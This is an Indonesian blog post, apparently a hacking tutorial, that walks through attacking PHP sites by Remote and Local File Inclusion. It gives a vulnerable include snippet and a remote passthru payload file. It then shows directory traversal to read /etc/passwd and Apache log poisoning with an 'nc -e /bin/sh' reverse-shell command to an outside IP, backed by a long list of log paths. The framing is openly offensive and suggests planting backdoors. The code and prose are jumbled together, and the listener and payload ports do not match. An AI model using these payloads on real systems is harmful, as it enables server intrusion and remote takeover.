Topik kali ini kita sekedar membahas tentang keamanan suatu server, aplikasi yang lagi populer saat ini yaitu “Remote File Inclusion” atau “Local File Inclusion”, atau biasa disingkat RFI atau LFI, adapun makna dari file inclusion ini ialah penyisipan kode ke file .php, dengan memamfaatkan suatu kesalahan kode di file .php itu sendiri, secara remote yaitu file tersebut tidak berada disatu tempat bersama server, secara local yaitu file tersebut berada disatu tempat bersama server. adapun perintah dalam bahasa pemograman .php yang memperbolehkan penyisipan file php adalah: include, include_once, require, require_once. Penyisipan sebuah kode jahat bisa dilakukan secara remote atau mesin berbeda dengan server, bisa menggunakan protokol http:// https:// ftp:// smb:// atau biasa disebut “File Inclusion”, jika sebuah penyisipan kode jahat gagal mungkin settingan allow_url_include berada dalam kondisi Off pada php.ini. Penyerang yang sadar bahwa aksi penyusupan kode jahat gagal selanjutnya ia mencoba teknik “Local File Inclusion” dimana penyisipan halaman berada dalam satu server yang sama. contoh kode .php sederhana yg ada kelemahannya:
<?phpJikalau dijalankan maka akan muncul error:
$page = $_GET['page'];
include($page);
?>
Notice: Undefined index: page in /var/www/htdocs/page.php on line 2Perhatikan kesalahan kode di baris ke-3 fungsi perintah inclusion ‘page’ dan dalam kesalahan ini dapat dimamfaatkan untuk memasukkan kode jahat, lihat perintah berikut:
Warning: include() [function.include]: Failed opening ” for inclusion (include_path=’.:/usr/lib/php’) in /var/www/htdocs/page.php on line 3
http://hong.web.id/page.php?page=…..attacker/kode.txtDidalam file kode.txt dapat diisi kode yang kita inginkan seperti disini berikut contohnya:
<?Jadi kalau diinginkan perintah yang lebih jauh lagi, bisa di ganti sendiri perintah2 didalam file kode.txt tadi, misalkan memasukkan file backdoor telnet atau yang lainnya. (Kreativitas anda ditentukan disini). nah tehnik penyerangan diatas berhasil jikalau tidak ada muncul peringatan seperti berikut:
echo “”.passthru(‘uname -rv’).”";
echo “<p>”;
echo “”.passthru(‘pwd’).”";
echo “<p>”;
echo “”.passthru(‘id’).”";
echo “<p>”;
echo “”.passthru(‘ls’).”";
echo “<p>”;
?>
Warning: include() [function.include]: URL file-access is disabled in the server configuration in /var/www/htdocs/page.php on line 3Kalau nongol peringatan diatas berarti RFI tidak dibenarkan, mungkin settingan php.ini dibagian allow_url_include berada dalam kondisi Off. Tapi kita jangan putus asa dulu, sekarang kita coba tehnik LFI atau local file inclusion, dimana file yang akan kita sisipkan dalam hal ini berada disatu tempat bersama server yang akan kita kerjain. Contoh perintahnya:
Warning: include(http://site.attacker/kode.txt) [function.include]: failed to open stream: no suitable wrapper could be found in /var/www/htdocs/page.php on line 3
http://hong.web.id/page.php?page=../../../etc/passwd
Dan jika berhasil, maka akan kelihatan isi file /etc/passwd di server yang kita kerjain tadi. mau yang lebih keren lagi? misalnya mendapatkan akses ke shellnya? Coba langkah berikut:
- Siapkan 1bh login shell ssh atau apa saja yang penting bisa untuk menjalankan program netcat atau nc.
- Koneksi internet yg ok yah, ngga lelet maksudnya.
- kreativitas, kesabaran anda, rokok jgn lupa yah.
GET/<? echo “”.passthru(‘nc -e /bin/sh 202.160.160.160 4002′).”"; ?>Dimana ip 202.160.160.160 adalah ip shell kita yang telah kita siapkan untuk menerima koneksi dari server yang sedang kita kerjain tadi. dimana di shell kita jalankan perintah netcat berikut:
root@hong.web.id:~# nc -l -v -p 4001Perlu diingat, dimana disini diperlukan sedikit kesabaran dan kerja keras, kode yang telah kita coba jalankan diweb yang kita serang, akan menghasilkan error.log yang disimpan dlm sebuah file, dalam hal ini posisi filenya mungkin berbeda disetiap server. berikut kira2 lokasi file error.log nya:
../apache/logs/error.logAtau mungkin berada disatu direktori bersama:
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../var/log/httpd/error_log
../../../../../../../var/log/httpd/error.log
../../../../../../../var/log/httpd/namadomain.org-error_logSesudah memasukkan kode ‘GET/<? echo “”.passthru(‘nc -e /bin/sh 202.160.160.160 4002′).”"; ?>’ tadi ke web yang sedang kita kerjain, dan kira2 filelognya di ‘../../../../../../../home/namauser/public_html/error_log.gz’, perintah selanjutnya yaitu:
../../../../../../../var/log/httpd/namadomain.org-access_log
../../../../../../../home/namauser/public_html/error_log.gz
http://hong.web.id/page.php?page=../../../../../../../home/namauser/public_html/error_log.gz
Tidak ada komentar:
Posting Komentar